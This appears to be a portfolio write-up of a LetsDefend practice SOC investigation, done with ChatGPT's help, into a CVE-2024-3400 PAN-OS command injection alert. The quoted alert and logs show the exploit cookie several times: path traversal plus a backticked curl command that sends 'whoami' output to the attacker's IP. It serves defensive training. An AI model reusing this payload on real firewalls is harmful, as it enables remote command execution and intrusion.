

PAN-OS Command Injection (CVE-2024-3400) Investigation

Using the Lets Defend Practice SOC I chose a Critical threat:- **SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)**. Using ChatGPT, which has been instructed to act as a Tier 3 SOC expert, we began to investigate

SEVERITY DATE	RULE NAME	EVENTID TYPE	ACTION
Medium Jan, 22, 2025, 02:37 AM	SOC335 - CVE-2024-49138 Exploitation Detected	313	Privilege Escalation
Medium Sep, 17, 2024, 12:05 PM	SOC326 - Impersonating Domain MX Record Change Detected	304	ThreatIntel
Medium Apr, 19, 2024, 08:23 AM	SOC275 - Application Token Steal Attempt Detected	250	Proxy
Critical Apr, 18, 2024, 03:09 AM	★ SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)	249	Web Attack

★ A critical command injection vulnerability has been identified in Palo Alto Networks PAN-OS software

EventID : 249
Event Time : Apr, 18, 2024, 03:09 AM
Rule : SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)
Level : Security Analyst
Hostname : PA-Firewall-01
Destination IP Address : 172.16.17.139
Source IP Address : 144.172.79.92
HTTP Request Method : POST
Requested URL : /global-protect/login.esp
cookie : SESSID=.../.../opt/panlogs/tmp/device.telemetry/hour/aaa`curl\${IFS}144.172.79.92:4444?user=\${whoami}
Alert Trigger Reason : Characteristics exploit pattern Detected on Cookie and Request, indicative exploitation of the CVE-2024-3400.
Device Action : Allowed
Show Hint ⓘ

Alert Overview

A security alert was generated for a **critical command injection vulnerability exploitation attempt** targeting a Palo Alto Networks firewall running **PAN-OS 10.2.0**. The alert was triggered by the SOC rule **SOC274 – Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)**, indicating exploit characteristics consistent with publicly disclosed active exploitation.

- **Event ID:** 249
- **Event Time:** April 18, 2024 – 03:09 AM
- **Affected Host:** PA-Firewall-01
- **Service Targeted:** GlobalProtect Portal (</global-protect/login.esp>)
- **Action Taken by Device:** Allowed

Lets begin the playbook:-

Playbook Task 1

X

Understand Why the Alert Was Triggered

In order to perform a better analysis and to determine whether the triggered alert is false positive, it is first necessary to understand why the rule was triggered. Instead of starting the analysis directly, first understand why this rule was triggered.

- Examine the rule name. Rule names are usually created specifically for the attack to be detected. By examining the rule name, you can understand which attack you are facing.
- Detect between which two devices the traffic is occurring. It's a good starting point to understand the situation by learning about the direction of traffic, what protocol is used between devices, etc.

Next

The detection rule identified **command injection patterns embedded within HTTP cookies and request parameters**, a known exploitation method for **CVE-2024-3400**. This vulnerability allows unauthenticated attackers to inject arbitrary system commands via crafted requests to the GlobalProtect interface.

The malicious payload leveraged **directory traversal and shell command substitution**, attempting to execute a `curl` command and exfiltrate system-level data such as the output of `whoami`.

Playbook Task 2

X

Collect Data

Gather some information that can be gathered quickly to get a better understanding of the traffic. These can be summarized as follows.

- Ownership of the IP addresses and devices.
 - If the traffic is coming from outside (Internet);
 - Ownership of IP address (Static or Pool Address? Who owns it? Is it web hosting?)
 - Reputation of IP Address (Search in VirusTotal, AbuseIPDB, Cisco Talos)
 - If the traffic is coming from company network;
 - Hostname of the device
 - Who owns the device (username)
 - Last user logon time

Next

Traffic & Ownership Analysis

- **Source IP:** 144.172.79.92
- **Destination IP:** 172.16.17.139 (Internal PA-Firewall-01)
- **Traffic Origin:** External (Internet)

The destination firewall is an internal enterprise security appliance, confirming this was **external-to-internal attack traffic**.

Lets investigate the **Source IP** address with virus total:-

The screenshot shows the VirusTotal interface for the IP address 144.172.79.92. At the top, a summary card indicates 10 out of 93 security vendors flagged the IP as malicious. Below this, detailed information includes the IP (144.172.79.92), its AS number (AS 14956 - ROUTERHOSTING), and the last analysis date (22 days ago). A 'Community Score' of -3 is shown. The interface has tabs for DETECTION, DETAILS, RELATIONS, and COMMUNITY (5). A green banner encourages joining the community. The 'Security vendors' analysis' section lists vendor names, their findings, and a column for automation status. The findings are as follows:

Vendor	Findings	Automation Status
alphaMountain.ai	Malicious	Malware
BitDefender	Malware	Malicious
Forcepoint ThreatSeeker	Malicious	Malicious
Lionic	Malicious	Malicious
Sophos	Malicious	Malicious
Abusix	Spam	Clean
ADMINUSLabs	Clean	Clean
AlphaSOC		
CyRadar		
G-Data		
SOCRadar		
Webroot		
Acronis		
AI Labs (MONITORAPP)		

- **IP Reputation:**

- Flagged by **10/93 security vendors** on VirusTotal
- Associated with suspicious infrastructure activity

The screenshot shows the VirusTotal interface for the IP address 144.172.79.92. It displays the 'Whois Lookup' section, which provides information about the network's ownership. The results show that FranTech Solutions PONYNET-12 (NET-144-172-64-0-1) owns the range 144.172.64.0 - 144.172.127.255, and RouterHosting LLC ROUTERHOSTING (NET-144-172-79-0-1) owns the range 144.172.79.0 - 144.172.79.255.

- **Source Network Ownership:**

- FranTech Solutions / RouterHosting LLC
- Hosting provider (non-residential, infrastructure-based IP)



Examine HTTP Traffic

Check the traffic content for any suspicious conditions such as web attack payloads (SQL Injection, XSS, Command Injection, IDOR, RFI/LFI).

Examine all the fields in the HTTP Request. Since the attackers do not only attack through the URL, all the data from the source must be examined to understand whether there is really a cyber attack.

You can review the Web Attacks 101 tutorial for information about attacks on web applications and how to detect these attacks.

- [Web Attacks 101](#)

[Next](#)

HTTP Traffic Examination

Analysis of the HTTP request revealed multiple indicators of compromise:

- **HTTP Method:** POST
- **User-Agent:** curl/8.4.0 (non-browser, commonly used in exploitation)
- **Malicious Cookie Payload:**

New Search

Source Address contains "144.172.79.92" All Time

✓ 1 events (before Apr, 18, 2024, 03:09 PM UTC)

INTERESTING FIELDS		Event
destination_address	172.16.17.139	
destination_port	20077	
time	Apr, 18, 2024, 03:09 PM	
Raw Log		
HTTP Method	POST	
URL	/global-protect/login.esp	
HTTP Version	HTTP/1.1	
Host	172.16.17.139	
Cookie	SESSID=.../opt/panlogs/tmp/device_telemetry/hour/aaa'curl\$IFS144.172.79.92:4444?user=\$(whoami)	
Content-Type	application/x-www-form-urlencoded	
Content-Length	158	

1 row selected

- **Attack Techniques Observed:**

- Command Injection
- Directory Traversal
- Arbitrary Command Execution
- Outbound callback attempt

These patterns align precisely with **real-world exploitation of CVE-2024-3400**, which abuses PAN-OS telemetry file handling mechanisms. Therefore, this is evidently an attack.

Playbook Task 4

Is Traffic Malicious?

Decide whether the traffic is malicious or not based on your investigations.

You can find our related training below.

- [Web Attacks 101](#)

[Malicious](#) [Non-malicious](#)

I believe this to be **Malicious** due to the multiple indicators of attack in the Payload.

Playbook Task 5

Check Whether the Attack Was Successful

Investigate whether the attack was successful. Detection mechanisms vary according to the attack type. Some tips that can help with your investigation;

- In Command Injection attacks, you can understand whether the attack was successful by looking at the "Command History" of the relevant device via Endpoint Security. In SQL Injection attacks, attackers can run commands on the device with the help of functions such as "xp_cmdshell". For this reason, you may need to look at the "Command History" in SQL Injection attacks.
- You can guess by looking at the HTTP Response size in SQL Injection and IDOR attacks.

You can access the Web Attacks 101 training below, in which we explain how you can understand whether the attack is successful or not according to the attack type.

- [Web Attacks 101](#)

[Next](#)

Looking at the command history in the PA-Firewall-01 endpoint there is no command history.

The screenshot shows the 'Endpoint Information' section of a security interface. It displays host details: Hostname: PA-Firewall-01, IP Address: 172.16.17.139, OS: PAN-OS 10.2.0, Client/Server: Server. The 'Containment' action is set to 'Containment Removed'. Below this, there are tabs for Processes (22), Network Action (21), Terminal History (0), and Browser History (0). The 'Terminal History' tab is selected. At the bottom, there are filters for 'EVENT TIME' and 'COMMAND LINE', and a results count of 10.

- While PAN-OS does not expose a traditional “command history” like an endpoint OS, the **device telemetry and nginx logs can serve as equivalent evidence**.

Let's have a look at the logs where the destination address is the PA-Firewall-01

The screenshot shows the 'Log Management' section of the LetsDefend interface. A search query 'Destination Address contains "172.16.17.139"' has been entered, resulting in 4 events found before April 18, 2024, 03:10 PM UTC. The results table includes columns for 'Columns', 'Operator', and 'Value'. One row is expanded to show details: [Apr, 18, 2024, 03:10 PM] source_address=172.16.17.139 source_port=0 destination_address=172.16.17.139 destination_port=0 raw_log: [LOGFILE: '/var/log/nginx/sslvpn_access.log', '18/Apr/2024 03:10:42 +0000 "POST /global/proxy/144.172.79.92:51232 HTTP/1.1" 200 2007'].

Okay, what do we have here? These look like some interesting logs. Let's look at what we can find out from these:

New Search

Source Address contains "172.16.17.139"

✓ 3 events (before Apr, 18, 2024, 03:10 PM UTC)

Field	Value
type	OS
source_address	172.16.17.139
source_port	0
destination_address	172.16.17.139
destination_port	0
time	Apr, 18, 2024, 03:10 PM

Raw Log

LOGFILE /var/log/nginx/sslvpn_access.log

```
[18/Apr/2024:15:09:4... 144.172.79.92.51232 - 172.16.17.139.20077 [18/Apr/2024:15:09:42 +0000] "POST /global-protect/logout.esp HTTP/1.1" 200 4406 "-" "curl/8.4.0" 1713261211.617 0.002 0.002 987
[18/Apr/2024:15:09:4... 127.0.0.1.57108 - 127.0.0.1.20077 [18/Apr/2024:15:09:42 +0000] "GET /sslvpn_ngx_status HTTP/1.1" 200 103 "-" "Wget/1.19.5 (linux-gnu)" 1713261243.774 0.000 - 989
[18/Apr/2024:15:09:4... 144.172.79.92.51275 - 172.16.17.139.20077 [18/Apr/2024:15:09:42 +0000] "POST /global-protect/login.esp HTTP/1.1" 200 11364 "-" "curl/8.4.0" 1713261264.522 0.002 0.002 991
```

1 row selected

The **sslvpn_access.log** entries provide strong **post-alert confirmation** of an active exploitation attempt against **PA-Firewall-01** related to **CVE-2024-3400**. The logs show **external traffic from the same source IP (144.172.79.92)** issuing multiple **HTTP POST requests to GlobalProtect endpoints (/global-protect/login.esp and /global-protect/logout.esp)** using the **curl/8.4.0 user-agent**, which is not typical for legitimate GlobalProtect client behavior and strongly suggests automated exploitation.

Critically, the sequence shows a **POST to login.esp returning HTTP 200**, indicating the request was successfully processed by the firewall's management plane. This aligns with the earlier alert showing a **malicious Cookie header containing a command-injection payload**, meaning the exploit attempt likely reached vulnerable code paths. Additionally, the presence of **localhost (127.0.0.1) activity using wget** shortly after the external request is a significant indicator, as CVE-2024-3400 exploitation is known to trigger **internal command execution and outbound callbacks** via system utilities. This localhost activity suggests potential **command execution or exploit verification behavior** on the device itself.

✓ 3 events (before Apr, 18, 2024, 03:10 PM UTC)

Field	Value
type	OS
source_address	172.16.17.139
source_port	0
destination_address	172.16.17.139
destination_port	0
time	Apr, 18, 2024, 03:10 PM

Raw Log

LOGFILE /var/log/pan/sslvpn-access/sslvpn-access.log

```
[2024-04-18 15:09:42... 144.172.79.92 [2024-04-18 15:09:42.616147783 +0000 UTC] POST /global-protect/logout.esp HTTP/1.1 0 200 4406, taskid 37
[rate] http request rate is 0.1/s in last 10 seconds:
[2024-04-18 15:09:42... 144.172.79.92 [2024-04-18 15:09:42.521150674 +0000 UTC] POST /global-protect/login.esp HTTP/1.1 0 200 11364, taskid 38
```

1 row selected

GlobalProtect access logs confirm that the attacker IP successfully reached and interacted with the PAN-OS GlobalProtect login and logout endpoints, with HTTP 200 responses indicating the malicious requests were processed at the application level, consistent with active exploitation of CVE-2024-3400.

The 3rd log is the log that triggered the alert in the first place so no need to go through that here. Lets look at the 4th log:-

3 events (before Apr, 18, 2024, 03:10 PM UTC)		
Event		
INTERESTING FIELDS	destination_address	172.16.17.139
# type	destination_port	0
# source_address	time	Apr, 18, 2024, 03:10 PM
# source_port	Raw Log	
# destination_address	2024-04-18 15:09:42....	dt_send INFO TX_DIR: send file dir: /opt/panlogs/tmp/device_telemetry/day/, n_files: 1
# destination_port	2024-04-18 15:09:42....	dt_send INFO sorted file list: tmp_dir: /opt/panlogs/tmp/device_telemetry/day/
# raw_log	2024-04-18 15:09:42....	dt_send INFO TX_DIR: send file dir: fname: /opt/panlogs/tmp/device_telemetry/day/aaa`curl\${IFS}144.172.79.92:4444?user=\$(whoami)
	2024-04-18 15:09:42....	dt_send INFO TX FILE: send_fname: /opt/panlogs/tmp/device_telemetry/day/aaa`curl\${IFS}144.172.79.92:4444?user=\$(whoami)
	2024-04-18 15:09:42....	dt_send INFO TX_FILE: dest server ip: 144.172.79.92
	2024-04-18 15:09:42....	dt_send INFO TX FILE: send_file_cmd: /usr/local/bin/dt_curl -i 172.16.17.139 -f /opt/panlogs/tmp/device_telemetry/day/aaa`curl\${IFS}144.172.79.92:4444?user=\$(whoami)
	2024-04-18 15:09:43....	dt_send INFO TX FILE: curl cmd status: 24, 24; err msg: 'DNS lookup failed'

This OS-level log provides **conclusive evidence of successful command injection and execution** on **PA-Firewall-01**, confirming exploitation of **CVE-2024-3400**. The injected payload from the malicious Cookie value was not only parsed but **executed by the system**, resulting in the creation and handling of a file path containing the attacker-supplied command:

`aaa`curl${IFS}144.172.79.92:4444?user=$(whoami)`

The **dt_send** process attempted to **transmit a file using an internally executed curl command**, explicitly showing the destination server IP as the attacker's address. This demonstrates that the attacker successfully abused the device telemetry process to trigger **arbitrary OS command execution**, a known post-exploitation behavior of this vulnerability. The failure message (**DNS lookup failed**) indicates the outbound callback did not fully succeed, but this does **not negate compromise**—the command was still executed locally.

The presence of attacker-controlled input propagating into system-level telemetry workflows confirms that the firewall's management plane was compromised at runtime. This elevates the incident to a **confirmed breach**, not merely an attempt. Immediate actions are required: isolate the firewall management interface, apply emergency PAN-OS patches, rotate all credentials, review configuration integrity, and treat the device as potentially untrusted until forensic validation is completed.

Final Determination: 🔥 True Positive – Verified exploitation with remote command execution on the firewall



Containment

Since it is detected that the device is compromised, the device must be isolated in order to restrict the attacker, prevent the spread of the attack and reduce the impact.

Go to the Endpoint Security page and contain the relevant device with the help of the "Request Containment" button.

- [Endpoint Security](#)

**** Each institution has a separate containment procedure. While some institutions give containment authorization, some do not. Do not forget to learn the containment procedure in the institution you work for.**

Next

Lets contain the Firewall endpoint by going to the endpoint and flicking the switch:-

The screenshot shows the 'Endpoint Information' section of a security interface. On the left, under 'Host Information', there is a table with the following data:

Hostname:	PA-Firewall-01	Domain:	LetsDefend
IP Address:	172.16.17.139	Bit Level:	64
OS:	PAN-OS 10.2.0	Primary User:	LetsDefend
Client/Server:	Server	Last Login:	Apr, 18, 2024, 07:05 AM

On the right, under 'Action', there is a button labeled 'Containment' with a checked checkbox and the text 'Host Contained'.

At the bottom, there are navigation links for 'Processes' (22), 'Network Action' (21), 'Terminal History' (0), 'Browser History' (0), and a dropdown for 'Results: 10'. Below these are headers for a table: 'EVENT TIME', 'PROCESS ID', 'PROCESS NAME', 'PARENT PROCESS', and 'COMMAND LINE'.

Onto escalation. We now need to escalate this appropriately:-

Playbook Task 7

Do You Need Tier 2 Escalation?

Tier 2 escalation should be performed in the following situations.

- In cases where the attack succeeds,
- When the attacker compromises a device in the internal network (in cases where the direction of harmful traffic is from inside → inside),

Tier 2 escalation is not required in the following cases.

- In cases where attacks from the Internet do not succeed

** Institutions may have their own escalation procedure.
Don't forget to learn about the escalation procedure in your institution.

Perform Tier 2 escalation?

No Yes

As it has been confirmed that we have a true positive and there has been a breach, we need to escalate this straight away. I will provide an accompanying summary:-

SOC Analyst Summary – PAN-OS Command Injection (CVE-2024-3400)

Incident Overview:

On **Apr 18, 2024**, an unauthenticated attacker from IP **144.172.79.92** attempted and successfully executed a **command injection exploit** against **PA-Firewall-01** running **PAN-OS 10.2.0**. The exploit targeted the **GlobalProtect login endpoint** (</global-protect/login.esp>) and leveraged the **Cookie header** to inject OS commands, confirming **remote code execution (RCE)**.

Attack Analysis:

- **Source & Destination:** External Internet IP to internal firewall management plane
- **Payload Delivery:** Command injection embedded in **SESSID** cookie using path traversal (`./.../.../.../`) and shell metacharacters.
- **Execution Evidence:**

- OS logs (`dt_send`) show execution of injected commands and attempted callback to attacker-controlled IP (`144.172.79.92`).
 - HTTP POST returned **200 OK**, confirming the vulnerable code path was executed.
 - Internal process execution (`dt_curl`) demonstrates the exploit was processed by the system.
- **Tools / Techniques:** Path traversal, command injection, use of `$(IFS)` for input evasion, and outbound callback for exploit verification.
 - **Reputation:** Attacker IP is a known VPS/hosting provider flagged by 10/93 security vendors.

Impact Assessment:

- **Firewall integrity compromised;** potential for further unauthorized configuration changes or traffic interception.
- **Critical security appliance exposed;** high risk of lateral movement and compromise of corporate network security.

Detection & Classification:

- **Rule Triggered:** SOC274 – PAN-OS Command Injection Exploitation
- **True Positive:** Confirmed exploitation with OS-level command execution
- **Severity:** Critical

Immediate Actions:

1. Isolate firewall management plane from untrusted networks.
2. Block attacker IP (`144.172.79.92`) at perimeter controls.
3. Apply PAN-OS emergency patch or mitigations.
4. Rotate all firewall credentials, certificates, and API keys.
5. Conduct full integrity review of firewall configuration and telemetry.
6. Preserve forensic evidence for post-incident analysis and lessons learned.

IOC References:

- `/global-protect/login.esp` (URL address)
- `144.172.79.92` (IP address)

Summary:

This was a **confirmed zero-day exploitation** resulting in **remote command execution** on a critical network security device. Immediate containment, remediation, and forensic validation are required to prevent further compromise.

Executive Summary (Non-Technical Audience)

On April 18, 2024, our security monitoring detected and confirmed an attempted cyberattack against one of the organization's critical network security systems (the firewall). The attacker exploited a newly discovered software vulnerability to remotely execute commands on the device.

This activity originated from the internet and was linked to known malicious infrastructure, confirming that the incident was a real and intentional attack rather than a false alarm.

The issue was identified quickly, escalated appropriately, and containment actions were initiated to reduce risk and prevent further impact. No evidence indicates that this activity affected business operations or user data; however, due to the critical nature of the system involved, remediation steps such as system isolation, security updates, and credential resets were required. This incident highlights the importance of proactive monitoring, rapid response, and continuous patching to protect essential infrastructure.

Skills shown during this investigation:-

- Performed **Tier 3 Level SOC incident analysis with the assistance of AI** for a critical zero-day vulnerability (CVE-2024-3400) affecting PAN-OS.
- Conducted **deep HTTP traffic inspection**, analyzing headers, cookies, payloads, and request methods to identify **command injection and path traversal** techniques.
- Correlated **network logs, firewall logs, and OS-level telemetry** to confirm **successful remote command execution (RCE)**.
- Identified and validated **attack success indicators**, including internal process execution and outbound callback attempts.
- Applied **threat intelligence enrichment**, including WHOIS lookups and multi-vendor reputation analysis, to assess attacker infrastructure and intent.
- Leveraged **AI-assisted analysis (ChatGPT)** to accelerate payload decoding, hypothesis validation, and structured reasoning during the investigation.
- Maintained **full analyst oversight and control**, using AI strictly as a **decision-support tool** while independently validating evidence and determining investigative direction.
- Distinguished between **exploit attempts and confirmed compromise**, accurately classifying the incident as a **true positive**.
- Assessed **business and security impact** involving a critical perimeter security appliance.
- Led **incident containment decision-making**, recommending isolation, patching, credential rotation, and integrity validation.
- Extracted and documented **actionable indicators of compromise (IOCs)** for detection, threat hunting, and reporting.
- **Authored a clear, non-technical executive summary** translating complex technical findings into business-relevant risk and impact for stakeholders.
- Produced **clear analyst notes, technical findings, and executive-level summaries** suitable for escalation, audits, and portfolio documentation.

